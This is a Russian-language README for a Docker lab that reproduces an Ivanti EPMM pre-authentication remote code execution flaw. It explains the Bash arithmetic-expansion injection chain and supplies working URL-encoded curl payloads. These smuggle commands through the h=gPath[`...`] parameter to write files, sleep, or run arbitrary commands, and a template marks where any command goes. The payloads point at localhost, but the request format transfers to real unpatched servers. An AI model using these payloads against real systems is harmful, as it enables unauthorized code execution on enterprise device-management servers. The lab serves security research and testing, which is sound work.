Ivanti EPMM pre-auth RCE Dummy Target

Простое демонстрационное приложение, показывающее, как воспроизвести уязвимость Ivanti EPMM pre-auth RCE (CVE-2026-1281 / CVE-2026-1340) в образовательных целях и для исследований в области безопасности.

Обзор уязвимости

Эта уязвимость использует поведение арифметического раскрытия в Bash. Когда переменная, содержащая ссылку на другую переменную, используется в арифметическом контексте, и эта переменная содержит индекс массива с подстановкой команд, команда выполняется.

Цепочка эксплуатации

1. Запрос содержит st=theValue (литеральная строка "theValue" с дополнением)
2. Запрос содержит h=gPath[\command`]` (команда в индексе массива)
3. Bash-скрипт разбирает пары ключ=значение в цикле, обновляя theValue на каждой итерации
4. gStartTime устанавливается в литеральную строку "theValue"
5. После цикла theValue содержит gPath[\command`]`
6. При вычислении [[ ${currentTime} -gt ${gStartTime} ]]:
   • ${gStartTime} → "theValue" (строка)
   • Арифметический контекст трактует theValue как ссылку на переменную
   • theValue → gPath[\command`]`
   • Индекс массива запускает подстановку команд → RCE!

Быстрый старт

# Сборка и запуск контейнера
docker-compose up --build -d

# Проверка, что всё работает
curl http://localhost:8180/health

Тестирование уязвимости

1. Тест создания файла

Создайте файл для подтверждения выполнения команды:

# URL-закодированная нагрузка: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"

# Проверка, был ли создан файл
cat artifacts/poc

2. Тест на основе времени

Проверка с помощью команды sleep:

# Ответ должен занять ~5 секунд
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"

3. Выполнение произвольной команды

# Запись произвольного содержимого
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"

cat artifacts/pwned

Структура URL

/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
                               │      │              │              │
                               │      │              │              └─ Нагрузка: gPath[`COMMAND`]
                               │      │              └─ Конечная метка времени (любые 10 цифр)
                               │      └─ КРИТИЧНО: литерал "theValue" + 2 пробела (всего 10 символов)
                               └─ Индекс ключа (любое значение)

Отладка

# Просмотр логов контейнера
docker-compose logs -f

# Получить shell в контейнере
docker exec -it ivanti-epmm-vuln /bin/bash

# Проверить логи ошибок nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log

Очистка

docker-compose down
rm -rf artifacts/*

Ссылки

• Запись в блоге WatchTowr Labs

Отказ от ответственности

Этот материал предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.